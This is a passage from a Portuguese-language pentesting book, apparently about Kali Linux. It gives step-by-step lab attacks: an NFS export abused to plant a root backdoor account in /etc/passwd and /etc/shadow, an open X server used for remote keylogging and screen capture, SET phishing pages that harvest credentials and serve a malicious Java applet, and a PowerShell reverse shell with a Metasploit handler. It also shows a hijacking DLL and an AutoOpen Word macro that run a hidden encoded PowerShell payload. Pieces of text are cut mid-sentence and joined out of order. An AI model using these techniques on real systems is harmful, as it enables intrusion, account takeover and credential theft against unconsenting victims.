de montagem do</p><p>sistema de arquivos do servidor e quem são os clientes</p><p>permitidos a realizar essa montagem. O erro mais</p><p>comum é deixar o diretório raiz / do Linux com</p><p>permissões de escrita para que qualquer cliente monte</p><p>na sua própria máquina o sistema de arquivos do</p><p>servidor. Com a raiz montada, os vetores de ataque vão</p><p>da criatividade do atacante.</p><p>Vamos, então, configurar um servidor NFS vulnerável.</p><p>Primeiro, instale o servidor NFS no Debian:</p><p>root@debian# apt-get install nfs-kernel-server rpcbind</p><p>Altere o arquivo /etc/exports para o seguinte conteúdo:</p><p>/ *(rw,no_root_squash,no_subtree_check)</p><p>Podemos observar que o sistema que será montado</p><p>remotamente é o raiz / e que nós damos a permissão de</p><p>escrita por meio de rw, para que qualquer cliente (*)</p><p>consiga montar remotamente o nosso servidor.</p><p>Reinicie o servidor com os comandos:</p><p>root@debian# service rpcbind start</p><p>root@debian# service nfs-kernel-server restart</p><p>Servidores NFS são associados ao RPC. A sigla RPC</p><p>significa “chamada ao procedimento remoto”, e permite</p><p>que os aplicativos comuniquem-se entre si. Então, por</p><p>exemplo, determinados aplicativos, como o NFS, alertam</p><p>o RPC de que estão ativos e usando determinada porta</p><p>para conexões. O serviço RPC, por padrão, escuta na</p><p>porta TCP 111.</p><p>No Kali Linux, verifique por meio do rpcinfo se o NFS está</p><p>ativo no sistema alvo, fazendo chamadas ao RPC.</p><p>root@kali# rpcinfo -p 192.168.1.102</p><p>O serviço NFS estará ativo.</p><p>Verifique quais são as partições que podem ser montadas</p><p>e por quais clientes:</p><p>root@kali# showmount -e 192.168.1.102</p><p>A resposta será:</p><p>Export list for 192.168.1.102:</p><p>/ *</p><p>Indicando que a pasta / está acessível para todos (*).</p><p>Monte a pasta com o comando mount:</p><p>root@kali# mount -o nolock,vers=3 192.168.1.102:/ /mnt</p><p>O diretório raiz de 192.168.1.102 foi montado em /mnt.</p><p>Vamos então fazer de forma análoga ao laboratório do</p><p>Shellshock, inserindo dentro de /mnt/etc/passwd o</p><p>usuário ghost (utilize o seu editor de texto favorito, como</p><p>o vi, nano, pico):</p><p>ghost:x:0:0:root:/root:/bin/bash</p><p>Vamos também, inserir a senha do usuário ghost no</p><p>arquivo /mnt/etc/shadow (utilize o seu editor de texto</p><p>favorito, como o vi, nano, pico):</p><p>ghost:$6$feBiS9hJ$JAbpSeNhwAqSNhabxexMsxNhbltOf1hMQyPIZ34PD8Cm</p><p>f4/07YkXSxeBvU3OxUH13JSB4Vcj/D1YB/OmIUjqG/:16330:0:99999:7:::</p><p>Faça o login via SSH com o usuário ghost e senha ghost.</p><p>Você é o root do sistema.</p><p>9.9 Explorando X Window System</p><p>Assim como o NFS, a maior vulnerabilidade de sistemas</p><p>X (X Window System) é a forma como são configurados.</p><p>O servidor de janela X (X Window System) permite que</p><p>ambientes Linux possuam interface gráfica. Se o leitor</p><p>estiver utilizando a interface gráfica no Linux, está</p><p>usando o servidor de janela X. Esse servidor funciona na</p><p>arquitetura cliente-servidor. O servidor X fica escutando</p><p>em determinada porta (normalmente a porta 6000, mas</p><p>pode variar de 6000 até 6005). O cliente conecta-se ao</p><p>servidor por meio do protocolo X e toda a interface</p><p>gráfica é disponibilizada para o cliente.</p><p>O mais comum é adotar o X Window System apenas para</p><p>uso local, ou seja, apenas a máquina local acessa o</p><p>servidor X. Porém o servidor X pode ser configurado para</p><p>permitir conexões remotas vindas de outras máquinas da</p><p>rede, ou, na pior das hipóteses, para permitir a conexão</p><p>de qualquer máquina da rede. Se um servidor X permite</p><p>conexões oriundas de qualquer lugar, um atacante pode</p><p>se aproveitar desse tipo de configuração para explorar o</p><p>servidor X.</p><p>Primeiro, devemos ter uma máquina Linux com uma</p><p>interface gráfica habilitada. Na instalação padrão do</p><p>Debian, a interface gráfica (Xorg) já é instalada. Se o</p><p>leitor não possui uma interface gráfica, poderá instalar o</p><p>Xorg.</p><p>O Xorg não possibilita que máquinas remotas conectem-</p><p>se ao servidor X. Porém vamos permitir que qualquer</p><p>cliente (máquina) da rede conecte-se remotamente ao</p><p>nosso servidor. Para isso, inicie a interface em modo</p><p>texto do Debian acessando o terminal tty1 pressionando</p><p>o Ctrl da direita com a tecla F1.</p><p>Acesse o terminal com usuário e senhas do root.</p><p>Inicie uma nova instância do servidor X por meio do</p><p>comando startx. Como a sessão 0 é iniciada por padrão</p><p>no Debian (e não permite acesso remoto), vamos criar a</p><p>sessão 1.</p><p>root@debian# startx -- :1</p><p>Abra um terminal e digite xhost:</p><p>root@debian# xhost</p><p>Access control enable, only authorized clients can connect</p><p>O controle de acesso está indicando que somente</p><p>usuários autorizados podem se conectar a essa sessão X.</p><p>Vamos desabilitar essa segurança, permitindo que</p><p>qualquer computador conecte-se ao servidor X.</p><p>root@debian# xhost +</p><p>Access control disable, clients can connect from any host</p><p>Primeiro, devemos determinar se um servidor está</p><p>escutando entre as porta 6000 até 6005. Podemos</p><p>utilizar o Nmap.</p><p>root@kali# nmap -sV 192.168.1.102</p><p>PORTSTATESERVICEVERSION</p><p>6001/tcpopenX11X.Org (open)</p><p>Outro software que realiza a varredura em servidores X é</p><p>o Metasploit por meio do módulo</p><p>auxiliary/scanner/x11/open_x11.</p><p>msf > use auxiliary/scanner/x11/open_x11</p><p>msf auxiliary(open_x11) > set RHOSTS 192.168.1.100-192.168.1.102</p><p>RHOSTS => 192.168.1.100-192.168.1.102</p><p>msf auxiliary(open_x11) > set RPORT 6001</p><p>RPORT => 6001</p><p>msf auxiliary(open_x11) > exploit</p><p>[*] Scanned 1 of 3 hosts (33% complete)</p><p>[*] Scanned 2 of 3 hosts (66% complete)</p><p>[*] 192.168.1.102 Open X Server (The X.Org Foundation)</p><p>[*] Scanned 3 of 3 hosts (100% complete)</p><p>[*] Auxiliary module execution completed</p><p>Sabendo que o servidor encontra-se ativo e esperando</p><p>por conexões, uma das formas possíveis de exploração é</p><p>por meio do keylogger remoto. Instale a suíte x11-apps</p><p>no Kali Linux para instalação do xspy.</p><p>root@kali# apt-get install x11-apps</p><p>Exporte o display local como sendo o IP da máquina</p><p>remota juntamente com o seu número da sessão X.</p><p>root@kali# export DISPLAY=192.168.1.102:1</p><p>root@kali# xspy</p><p>opened 192.168.1.102:1 for snoopng</p><p>Tudo o que for digitado no Debian será armazenado pelo</p><p>xspy (incluindo sessões de terminal).</p><p>Também é possível ver quais são os programas em</p><p>execução pelo xwininfo.</p><p>root@kali# xwininfo -root -all -display 192.168.1.102:1</p><p>Pelo xkill é possível finalizar um determinado programa</p><p>gráfico. Por exemplo, vamos finalizar a instância da</p><p>calculadora (gcalctool).</p><p>root@kali# xwininfo -root -all -display 192.168.1.102:1 | grep gcalctool</p><p>0x2800001 "gcalctool": ("gcalctool" "Gcalctool")10x10+10+10+10+10</p><p>0x2800003 "Calculadora": ("gcalctool"</p><p>"Gcalctool")312x255+1+34+40+68</p><p>O número de identificação da calculadora é 0x2800001.</p><p>Finalize-o por meio do xkill:</p><p>root@kali# xkill -display 192.168.1.102:1 -id 0x2800001</p><p>É possível realizar um screenlogger no sistema alvo. Para</p><p>isso, vamos capturar a tela por meio do xwd, realizando</p><p>um pipe para armazenarmos os dados em um arquivo</p><p>chamado de tela_capturada.xwd.</p><p>root@kali# xwd -root -display 192.168.1.102:1 ></p><p>/root/Desktop/tela_capturada.xwd</p><p>1 Arquivos de log são arquivos que registram as atividades de determinado</p><p>usuário. Se um atacante obter um acesso não autorizado a um sistema,</p><p>com certeza ele não vai querer que suas atividades maliciosas fiquem</p><p>registradas. Ele vai buscar e apagar esse tipo do registro, como se a</p><p>invasão nunca tivesse ocorrido.</p><p>CAPÍTULO 10</p><p>Engenharia social</p><p>Engenharia social consiste no ato de obter informações</p><p>das pessoas. O conceito envolvido em engenharia social</p><p>não é moderno e já existe há tempos remotos. Toda e</p><p>qualquer técnica de manipulação, persuasão e lábia</p><p>enquadra-se como engenharia social. Mas o termo</p><p>“engenharia social” surgiu com o hacker/cracker Kevin</p><p>Mitinick, que, no auge de suas invasões a dispositivos e</p><p>sistemas governamentais, utilizava-se de métodos não</p><p>computacionais para obter informações das pessoas.</p><p>Apelidou as suas técnicas como Social Engineering.</p><p>Por meio da engenharia social, o alvo pode fornecer</p><p>informações preciosas, como até mesmo a sua senha de</p><p>acesso a determinado ativo/servidor ou permitir a</p><p>instalação de programas maliciosos (backdoors).</p><p>Normalmente, ataques de engenharia social são</p><p>empregados com o intuito de se obter informações</p><p>confidenciais ou para ter acesso à áreas restritas. Por</p><p>exemplo, um phishing (email falso) é uma técnica de</p><p>engenharia social, um USB infectado com malware</p><p>(BadUSB) é outra tática.</p><p>A engenharia social não se limita a meios</p><p>computacionais. Qualquer pessoa que consiga convencer</p><p>outras a realizar determinada atitude para alcançar o seu</p><p>objetivo é categorizada como engenheira social.</p><p>Exemplos de engenheiros sociais: hackers, crackers,</p><p>auditores de rede, pentesters, scammers (golpistas</p><p>virtuais), carders (ladrões virtuais de crédito e contas</p><p>bancárias), vigaristas, vendedores, espiões etc.</p><p>Lembrando que toda a atividade da engenharia social</p><p>baseia-se no fator confiança. Caso você não consiga</p><p>construir o vínculo de confiança com o seu alvo, é muito</p><p>provável que falhe.</p><p>Neste capítulo serão discutidos quais são os princípios e</p><p>práticas adotadas por um engenheiro social. Quais são as</p><p>técnicas que auxiliam um usuário a divulgar determinada</p><p>informação ou realizar um ato, além de falarmos também</p><p>sobre a utilização da ferramenta SET para auxílio da</p><p>engenharia social baseada em computadores, e sobre o</p><p>potente ataque BadUSB, que permite infectarmos o</p><p>firmware de um pendrive com código malicioso.</p><p>10.1 Processo de ataque</p><p>A engenharia social pode ser dividida nas seguintes</p><p>etapas: coleta de informações, confiança, vetor de</p><p>ataque e execução1.</p><p>• Coleta de informações – Coletam-se as informações</p><p>iniciais relativas ao alvo.</p><p>• Confiança – Informações mais específicas começam</p><p>a ser coletadas: usuários mais suscetíveis à execução</p><p>de programas maliciosos, determinação de qual é a</p><p>versão do navegador que tal empresa utiliza (caso o</p><p>navegador seja o Internet Explorer versão inferior a</p><p>11, pode-se utilizar o exploit “Internet Explorer</p><p>alguns bugs e</p><p>não sendo corretamente integrado ao Metasploit. O aconselhado é que</p><p>se realize manualmente o download do SET. Ao utilizar o SET com o</p><p>Metasploit, utilize a versão 6.5.9:</p><p>root@kali# git clone https://github.com/trustedsec/social-engineer-toolkit</p><p>set</p><p>root@kali# cd set</p><p>root@kali# ./setoolkit</p><p>Na primeira tela do SET, serão exibidas as opções de</p><p>ataques de engenharia social, como Social-Engineering</p><p>Attacks, Fast-Track Penetration Testing, Third Party</p><p>Modules etc. Vamos trabalhar com a opção 1) Social-</p><p>Engineering Attacks.</p><p>Select from the menu:</p><p>1) Social-Engineering Attacks</p><p>2) Fast-Track Penetration Testing</p><p>3) Third Party Modules</p><p>4) Update the Social-Engineer Toolkit</p><p>5) Update SET configuration</p><p>6) Help, Credits, and About</p><p>99) Exit the Social-Engineer Toolkit</p><p>set> 1</p><p>Há diversas opções de ataques voltados à engenharia</p><p>social, como Spear-Phishing Attack Vectors, Website</p><p>Attack Vectors, Infectious Media Generator etc.</p><p>Particularmente, não gosto da opção 1)Spear-Phishing</p><p>Attack Vectors, pois nessa opção será enviado um email</p><p>em massa com exploits preparados, porém a maioria dos</p><p>exploits é antiga e defasada. Por isso, vamos escolher a</p><p>opção 2) Website Attack Vectors.</p><p>Select from the menu:</p><p>1) Spear-Phishing Attack Vectors</p><p>2) Website Attack Vectors</p><p>3) Infectious Media Generator</p><p>4) Create a Payload and Listener</p><p>5) Mass Mailer Attack</p><p>6) Arduino-Based Attack Vector</p><p>7) Wireless Access Point Attack Vector</p><p>8) QRCode Generator Attack Vector</p><p>9) Powershell Attack Vectors</p><p>10) Third Party Modules</p><p>99) Return back to the main menu.</p><p>set> 2</p><p>A próxima tela mostra os principais ataques voltados à</p><p>web, como a construção de aplicativos Java maliciosos</p><p>(opção 1) Java Applet Attack Method), ataques voltados à</p><p>exploração de falhas em navegadores (opção 2)</p><p>Metasploit Browser Exploit Method), ataque de captura</p><p>de login (opção 3) Credential Harvester Attack Method) e</p><p>outros.</p><p>Vamos começar criando um aplicativo Java que, se</p><p>executado pela vítima, dará acesso meterpreter à</p><p>máquina alvo. Para esse laboratório, instale o Java na</p><p>máquina Windows. O Java pode ser obtido em</p><p>https://www.java.com/pt_BR/download.</p><p>Escolha a opção 1) Java Applet Attack Method.</p><p>1) Java Applet Attack Method</p><p>2) Metasploit Browser Exploit Method</p><p>3) Credential Harvester Attack Method</p><p>4) Tabnabbing Attack Method</p><p>5) Web Jacking Attack Method</p><p>6) Multi-Attack Web Method</p><p>7) Full Screen Attack Method</p><p>8) HTA Attack Method</p><p>99) Return to Main Menu</p><p>set:webattack> 1</p><p>O SET fornece a opção de usar um template pronto,</p><p>clonar um site ou importar um template.</p><p>Com a opção 1)Web Template, o SET vai criar uma página</p><p>pronta com um layout já predefinido.</p><p>Com a opção 2)Site Cloner, o SET vai clonar uma página</p><p>da web. No momento em que a vítima acessar o site</p><p>http://192.168.1.100, será exibida a página clonada e um</p><p>aplicativo Java malicioso.</p><p>Com a opção 3) Custom Import será importado um</p><p>template criado pelo leitor.</p><p>Utilize a opção 1)Web Template.</p><p>1) Web Templates</p><p>2) Site Cloner</p><p>3) Custom Import</p><p>99) Return to Webattack Menu</p><p>set:webattack> 1</p><p>O SET também pergunta ao leitor se está utilizando</p><p>redirecionamento de portas. O redirecionamento de</p><p>portas é utilizado, por exemplo, quando se realiza um</p><p>ataque e a vítima encontra-se na internet e não na rede</p><p>local (LAN).</p><p>Como o ambiente está sendo apenas a rede local, deixe</p><p>como sendo “no”.</p><p>[-] NAT/Port Forwarding can be used in the cases where your SET machine</p><p>is</p><p>[-] not externally exposed and may be a different IP address than your</p><p>reverse listener.</p><p>set> Are you using NAT/Port Forwarding [yes|no]: no</p><p>Na próxima pergunta, digite o IP do Kali Linux para que</p><p>este escute por conexões reversas.</p><p>[-] Enter the IP address of your interface IP or if your using an external IP,</p><p>what</p><p>[-] will be used for the connection back and to house the web server (your</p><p>interface address)</p><p>set:webattack> IP address or hostname for the reverse connection:</p><p>192.168.1.100</p><p>A criação de um applet Java requer certificados digitais.</p><p>O SET possibilita que o usuário crie um certificado digital</p><p>pelo SET (opção 1. Make my own self-signed certificate</p><p>applet.). Utilize um certificado que o próprio SET vai</p><p>construir (opção 2. Use the applet built into SET.) ou, se o</p><p>usuário possuir o seu próprio certificado digital, importe-</p><p>o para o SET (opção 3. I have my own code signing</p><p>certificate or applet.). Selecione a opção 2. Use the</p><p>applet built into SET para que o SET crie um certificado.</p><p>[-------------------------------------------]</p><p>Java Applet Configuration Options Below</p><p>[-------------------------------------------]</p><p>Next we need to specify whether you will use your own self generated java</p><p>applet, built in applet, or your own code signed java applet. In this section,</p><p>you have all three options available. The first will create a self-signed</p><p>certificate if you have the java jdk installed. The second option will use the</p><p>one built into SET, and the third will allow you to import your own java</p><p>applet OR code sign the one built into SET if you have a certificate.</p><p>Select which option you want:</p><p>1. Make my own self-signed certificate applet.</p><p>2. Use the applet built into SET.</p><p>3. I have my own code signing certificate or applet.</p><p>Enter the number you want to use [1-3]: 2</p><p>Criado o certificado, selecione qual o template desejado.</p><p>Podemos utilizar o template 1. Java Required, 2. Google,</p><p>3. Facebook etc. O template pronto é uma página já</p><p>criada pelo SET que está armazenada em sua base de</p><p>dados. Assim, o SET possui uma base de dados com um</p><p>clone do site do Google, do Facebook etc. Como esses</p><p>sites são atualizados frequentemente e mudam de</p><p>aparência bem rápido, vamos colocar uma aparência</p><p>mais genérica, que nos dê a impressão de que, para</p><p>acessar aquele site, é necessário instalar o Java,</p><p>selecionando a opção 1. Java Required.</p><p>[*] Okay! Using the one built into SET - be careful, self signed isn't</p><p>accepted in newer versions of Java :(</p><p>1. Java Required</p><p>2. Google</p><p>3. Facebook</p><p>4. Twitter</p><p>5. Yahoo</p><p>set:webattack> Select a template: 1</p><p>O SET também requer o payload que será utilizado para</p><p>estabelecer a conexão reversa quando o usuário aceitar</p><p>o nosso aplicativo Java. Há diversos payloads, como um</p><p>shell reverso convencional, conexões VNC, shell tunelado</p><p>sobre o protocolo HTTP ou, até mesmo, o nosso próprio</p><p>executável (opção 17) Import yout own executable).</p><p>What payload do you want to generate:</p><p>Name: Description:</p><p>1) Meterpreter Memory Injection (DEFAULT) This will drop a meterpreter</p><p>payload through PyInjector</p><p>2) Meterpreter Multi-Memory Injection This will drop multiple Metasploit</p><p>payloads via memory</p><p>3) SE Toolkit Interactive Shell Custom interactive reverse toolkit designed</p><p>for SET</p><p>4) SE Toolkit HTTP Reverse Shell Purely native HTTP shell with AES</p><p>encryption support</p><p>5) RATTE HTTP Tunneling Payload Security bypass payload that will tunnel</p><p>all comms over HTTP</p><p>6) ShellCodeExec Alphanum Shellcode This will drop a meterpreter payload</p><p>through shellcodeexec</p><p>7) Import your own executable Specify a path for your own executable</p><p>set:payloads> 7</p><p>Como estamos importando o nosso executável, primeiro</p><p>crie uma backdoor de conexão reversa e depois</p><p>configure o Metasploit para esperar por conexões</p><p>(maiores detalhes consulte a seção 12.1 Backdoors).</p><p>set:payloads> Enter the path to your executable:/var/www/reverse.exe</p><p>Na máquina Windows, acesse o IP do Kali Linux,</p><p>http://192.168.1.100.</p><p>Devido às novas configurações de segurança, applets</p><p>Java são bloqueados, conforme mostra a figura 10.1.</p><p>Figura 10.1 – Applets Java são bloqueados em versões</p><p>mais novas do Java.</p><p>Para permitir applets Java, vá em Painel de controle, Java,</p><p>Segurança, Editar Lista de sites e insira o IP do Kali Linux,</p><p>conforme mostra a figura 10.2.</p><p>Figura 10.2 – Permita applets vindo do IP</p><p>http://192.168.1.100.</p><p>Acesse novamente o site http://192.168.1.100. Dessa</p><p>vez, será exibido outro alerta perguntando se o usuário</p><p>deseja abrir o applet Java. Confirme clicando sobre o</p><p>checkbox Eu aceito o risco e desejo executar essa</p><p>aplicação, conforme mostra a figura 10.3.</p><p>Figura 10.3 – Permita a execução de aplicativos Java.</p><p>A sessão Meterpreter será aberta no sistema.</p><p>Para não repetir os passos anteriores e para uma melhor</p><p>visualização do livro, para os próximos laboratórios será</p><p>adotada a numeração X.Y.Z. Então, por exemplo, sempre</p><p>inicie cada laboratório com a tela inicial do SET</p><p>(digitando setoolkit no terminal). Entenda 1.2.3 como</p><p>sendo a escolha das seguintes opções 1) Social-</p><p>Engineering Attacks, 2)Website Attack Vectors,</p><p>3)Credential Harvester Attack Method.</p><p>• Opção 1.2.3 – Credential Harvester Attack Method</p><p>Esse ataque permite a clonagem de qualquer página,</p><p>criando um phishing. Para capturar as credenciais do</p><p>alvo, o usuário terá que acessar o endereço do</p><p>phishing.</p><p>Para criar uma página bem verossímil, escolha a opção</p><p>“2) Site Cloner” e realize a clonagem de uma página.</p><p>Digite o IP do Kali Linux no campo set:webattack> IP</p><p>address for the POST back in Harvester/Tabnabbing:</p><p>Digite a URL que deseja clonar no campo</p><p>set:webattack> Enter the url to clone:</p><p>Os arquivos para o phishing foram copiados para a</p><p>pasta /var/www.</p><p>O usuário deverá acessar o endereço URL que contém o</p><p>phishing (http://192.168.1.100) e digitar o seu nome</p><p>de usuário e senha.</p><p>Acesse a pasta /var/www e lá haverá um arquivo de</p><p>texto contendo aquilo que foi digitado pelo usuário</p><p>(editado por motivos visuais).</p><p>root@kali# cat /var/www/harvester*.txt</p><p>Array</p><p>(</p><p>[GALX] => FP17UhnEtR8</p><p>[continue] => https://accounts.google.com/ManageAccount</p><p>[followup] => https://accounts.google.com/ManageAccount</p><p>[pstMsg] => 1</p><p>[Email] => email@gmail.com</p><p>[Passwd] => senha_gmail</p><p>[signIn] => Sign in</p><p>[PersistentCookie] => yes</p><p>[rmShown] => 1</p><p>• Opção 1.9 – PowerShell Attack Vectors</p><p>O Powershell é um prompt de comandos do Windows,</p><p>que foi implementado a partir do Windows Vista e que</p><p>possibilita utilizar scripts para automatização de</p><p>tarefas. O PowerShell possui alguns comandos que são</p><p>nativos ao Linux, como o ls. Ataques contra o</p><p>PowerShell (versões superiores ao Windows Vista</p><p>contêm nativamente o PowerShell) possibilitam a</p><p>obtenção do shell reverso. A grande vantagem em se</p><p>utilizar o PowerShell como vetor de ataque é que,</p><p>diferentemente de ataques convencionais (como</p><p>arquivos executáveis), o PowerShell executa a</p><p>instrução (no nosso caso o payload) diretamente na</p><p>memória, não sendo executada no disco rígido</p><p>(ataques convencionais), e isso dificulta, e muito, a</p><p>detecção do nosso payload como uma instrução</p><p>maliciosa por sistemas de antivírus.</p><p>Configure o SET para que o PowerShell realize a injeção</p><p>do shellcode via caracteres alfanuméricos,</p><p>selecionando a opção 1) Powershell Alphanumeric</p><p>Shellcode Injector.</p><p>Digite o IP do Kali Linux no campo set> IP address for</p><p>the payload listener (LHOST):</p><p>Digite a porta para a conexão reversa no campo</p><p>set:powershell> Enter the port for the reverse [443]:</p><p>Particularmente, prefiro iniciar o Metasploit em uma</p><p>janela separada, mas, caso o leitor deseje, poderá</p><p>iniciar o Metasploit pelo setoolkit digitando yes no</p><p>campo set> Do you want to start the listener now</p><p>[yes/no]:</p><p>No final será gerado um arquivo txt, mova-o para a</p><p>pasta /var/www.</p><p>root@kali# mv</p><p>/root/.set/reports/powershell/x86_powershell_injection.txt</p><p>/var/www/shell.bat</p><p>Se o leitor não inicializou o Metasploit pelo setoolkit,</p><p>deverá inicializá-lo manualmente:</p><p>root@kali# msfconsole</p><p>msf > use exploit/multi/handler</p><p>msf exploit(handler)> set PAYLOAD windows/meterpreter/reverse_tcp</p><p>msf exploit(handler)> set LPORT 12345</p><p>msf exploit(handler)> set LHOST 192.168.1.100</p><p>msf exploit(handler)> exploit</p><p>Pelo Windows, acesse http://192.168.1.100/shell.bat e</p><p>execute o arquivo .bat.</p><p>10.4 Office 2010 pptimpconv DLL</p><p>hijacking</p><p>O PowerPoint 2010 apresenta uma vulnerabilidade de</p><p>DLL hijacking. Essa vulnerabilidade caracteriza-se por</p><p>uma DLL que, se estiver no mesmo diretório do arquivo</p><p>.pptx, o PowerPoint levará como prioridade essa DLL</p><p>(criada por nós e maliciosa), e não a DLL original do</p><p>programa.</p><p>Deve ser criado um arquivo .pptx e na mesma pasta uma</p><p>DLL com o nome de pptimpconv.dll.</p><p>Utilize o DevC++ para a criação da DLL</p><p>http://sourceforge.net/projects/dev-cpp/files/Binaries/Dev-</p><p>C%2B%2B%204.9.9.2/.</p><p>Crie um novo projeto em Arquivo > Novo > Projeto.</p><p>Selecione o projeto do tipo DLL e escolha um projeto da</p><p>linguaguem C (por padrão estará marcado como C++).</p><p>Salve o projeto (Projeto1.dev) em uma pasta de sua</p><p>preferência.</p><p>São criados dois arquivos dentro do projeto (dll.h e</p><p>dllmain.cpp). O arquivo dll.h pode ser excluído do projeto.</p><p>Clique com o botão direito do mouse no arquivo dll.h</p><p>(coluna à esquerda) e selecione a opção Remover</p><p>Arquivo (não é necessário salvar mudanças).</p><p>Serão poucas as alterações no conteúdo do arquivo</p><p>dllmain.cpp, que deve ficar da seguinte forma:</p><p>#include</p><p>#include</p><p>#include</p><p>BOOL APIENTRY DllMain</p><p>(HINSTANCE hInst /* Library instance handle. */ ,</p><p>DWORD reason /* Reason this function is being called. */ ,</p><p>LPVOID reserved /* Not used. */ )</p><p>{</p><p>switch (reason)</p><p>{</p><p>case DLL_PROCESS_ATTACH:</p><p>case DLL_PROCESS_DETACH:</p><p>case DLL_THREAD_ATTACH:</p><p>case DLL_THREAD_DETACH:</p><p>WinExec(“calc”,1);</p><p>exit(0);</p><p>}</p><p>}</p><p>Ou seja, apenas apagamos os conteúdos das variáveis</p><p>DLL e incluímos a execução local da calculadora em</p><p>modo visível (1).</p><p>Compile o arquivo na aba Executar > Compilar.</p><p>Renomeie o arquivo Projeto1.dll para pptimpconv.dll.</p><p>Crie um novo arquivo .pptx do PowerPoint 2010 no</p><p>mesmo diretório em que se encontra pptimpconv.dll.</p><p>Ao executar o arquivo do PowerPoint 2010 é aberta a</p><p>calculadora.</p><p>Agora, que tal algo mais perigoso?</p><p>Gere um payload do PowerShell utilizando o setoolkit e</p><p>troque a linha WinExec("calc",1); pelo payload do</p><p>PowerShell e a visibilidade de 1 para 0 (invisível). O</p><p>código a seguir (editado por motivos visuais) ficará</p><p>parecido com:</p><p>case DLL_THREAD_DETACH:</p><p>WinExec("powershell -nop -windowstyle hidden -noni -enc JAAxABhOI",0);</p><p>exit(0);</p><p>Nesse momento é executada uma conexão reversa com</p><p>a máquina do atacante.</p><p>10.5 Macros maliciosas</p><p>Um documento criado pelo Office pode possuir macros,</p><p>que são funções agregadas para execução de</p><p>determinadas ações. Por exemplo, se for do desejo do</p><p>usuário, ele poderá criar um documento e incluir uma</p><p>macro para executar um arquivo local, como uma música</p><p>ou um vídeo (supondo uma apresentação do PowerPoint</p><p>ou de um documento do Word). Logicamente, essa</p><p>funcionalidade de execução de arquivos locais poderá</p><p>dar acesso shell a um atacante mal-intencionado</p><p>(utilizando o PowerShell). Para que o leitor se familiarize</p><p>com a criação de macros, vamos, primeiro, criar uma</p><p>macro simples em um documento do Word para executar</p><p>a calculadora.</p><p>Versões mais novas do Word criam e salvam documentos</p><p>no formato .docx. Infelizmente, esse formato não suporta</p><p>a gravação de macro. Porém a notícia positiva é que nós</p><p>podemos trabalhar no formato .doc criando, salvando e</p><p>depois transferindo a macro para a nossa vítima.</p><p>Primeiro, crie um arquivo no formato .doc.</p><p>A criação da macro vai depender da versão do Office.</p><p>Para versões do Office 2010, a macro é criada no campo</p><p>Exibição > Macros > Exibir Macros (Figura 10.4).</p><p>Figura 10.4 – Exibição/gravação de macros.</p><p>Selecione um nome para a sua macro no campo Nome da</p><p>Macro (selecionei o nome AutoOpen) e certifique-se no</p><p>campo Macros em que a sua macro será gravada dentro</p><p>do arquivo do Word (Figura 10.5).</p><p>O conteúdo da macro será:</p><p>Sub AutoOpen()</p><p>Call Shell("calc")</p><p>End Sub</p><p>Pronto. Execute a macro com F5 e a calculadora será</p><p>aberta na tela. Agora, Vamos trocar a calculadora pelo</p><p>PowerShell.</p><p>Figura 10.5 – Crie uma macro para o seu documento.</p><p>O Metasploit possui o módulo</p><p>exploit/multi/script/web_delivery que cria um pequeno</p><p>servidor web e gera um pequeno texto (Python, PHP ou</p><p>PowerShell). No momento em que o texto é executado na</p><p>máquina, é realizada</p><p>vulnerabilidades é similar ao pentest, pois também</p><p>realiza uma auditoria para encontrar falhas; embora</p><p>ela faça somente um levantamento das</p><p>vulnerabilidades, e algumas etapas não são</p><p>executadas, para não comprometer o sistema</p><p>auditado.</p><p>• Pentest –Auditoria que tem como objetivo detectar</p><p>de maneira ativa falhas e vulnerabilidades no sistema.</p><p>Vai além de apenas identificar erros. Durante um</p><p>pentest, são testados e utilizados exploits que</p><p>mostram a prova de conceito que a vulnerabilidade</p><p>pode ser explorada. Os principais tipos de pentest que</p><p>podem ser efetuados são:</p><p>• Redes cabeadas – Foco do livro. São utilizadas</p><p>ferramentas para descobrir e mapear falhas em</p><p>redes cabeadas de computadores.</p><p>• Redes sem fio – Testa se uma rede sem fio possui</p><p>vulnerabilidades. Uma rede sem fio mal configurada</p><p>pode permitir acessos não autorizados.</p><p>• Aplicativos web – Testa a segurança em websites.</p><p>• VoIP – Testar a conectividade e a segurança em</p><p>servidores VoIP (Voz sobre IP).</p><p>• Mobile – Testar a segurança em aplicativos móveis,</p><p>seja realizando o pentest ou desenvolvendo</p><p>aplicativos seguros ou maliciosos.</p><p>• Testes de stress – Consiste em sobrecarregar o</p><p>servidor com excesso de dados, para determinar se</p><p>ele aguenta a sobrecarga.</p><p>1.2 Conhecendo o Kali Linux</p><p>O Kali Linux é um sistema operacional, baseado no</p><p>Debian, destinado a testes de penetração. Fornece</p><p>diversas ferramentas para auditoria e realização de teste</p><p>de segurança em redes de computadores, permitindo</p><p>descobrir e explorar diversos tipos de vulnerabilidades.</p><p>As ferramentas contidas no Kali Linux podem ser</p><p>categorizadas em1:</p><p>• Information Gathering – Ferramentas para coletar</p><p>informações. Por exemplo: enumeração da rede com</p><p>sua topologia por meio de DNS, mapeamento da rota</p><p>de dados, coleta de emails, websites, computadores</p><p>online, fingerprinting, análise do protocolo SMB, SNMP,</p><p>VoIP etc.</p><p>• Vulnerability Analysis – Ferramentas para analisar</p><p>vulnerabilidades em software e/ou hardware. Por</p><p>exemplo: análise em aparelhos Cisco, bancos de</p><p>dados, scanners automatizados de vulnerabilidades</p><p>etc.</p><p>• Web Application – Ferramentas para analisar</p><p>vulnerabilidades em ambiente web. Por exemplo:</p><p>identificação e exploração de servidores CMS,</p><p>ferramentas de fuzzing para web, proxies para análise</p><p>de dados, crawlers e scanners automatizados.</p><p>• Password Attack – Ferramentas para quebra de</p><p>senhas. As ferramentas podem ser tanto offline (por</p><p>exemplo, ataque contra hash de senhas) quanto</p><p>online (ataque contra uma página de autenticação</p><p>web).</p><p>• Wireless Attacks – Ferramentas para análise do</p><p>tráfego em redes sem fio (wireless).</p><p>• Exploitation Tools – Ferramentas para explorar as</p><p>vulnerabilidades encontradas nas etapas anteriores.</p><p>Por exemplo: frameworks para teste e</p><p>desenvolvimento de exploits e XSS, teste de</p><p>equipamentos Cisco e engenharia social.</p><p>• Sniffing/Spoofing – Ferramentas para capturar</p><p>tráfego de informações tanto locais quanto remotas.</p><p>Nesta categoria encontram-se os poderosos sniffers.</p><p>• Maintaining Access – Ferramentas usadas com o</p><p>intuito de permitir um acesso futuro, mesmo que o</p><p>sistema-teste já tenha sido explorado e que a antiga</p><p>falha explorada tenha sido corrigida. Backdoors são</p><p>encontradas aqui, tanto para sistema operacional</p><p>quanto para web. Ferramentas de tunneling para</p><p>“furar” regras de firewall também se encontram nesta</p><p>categoria.</p><p>• Stress Testing – Ferramentas 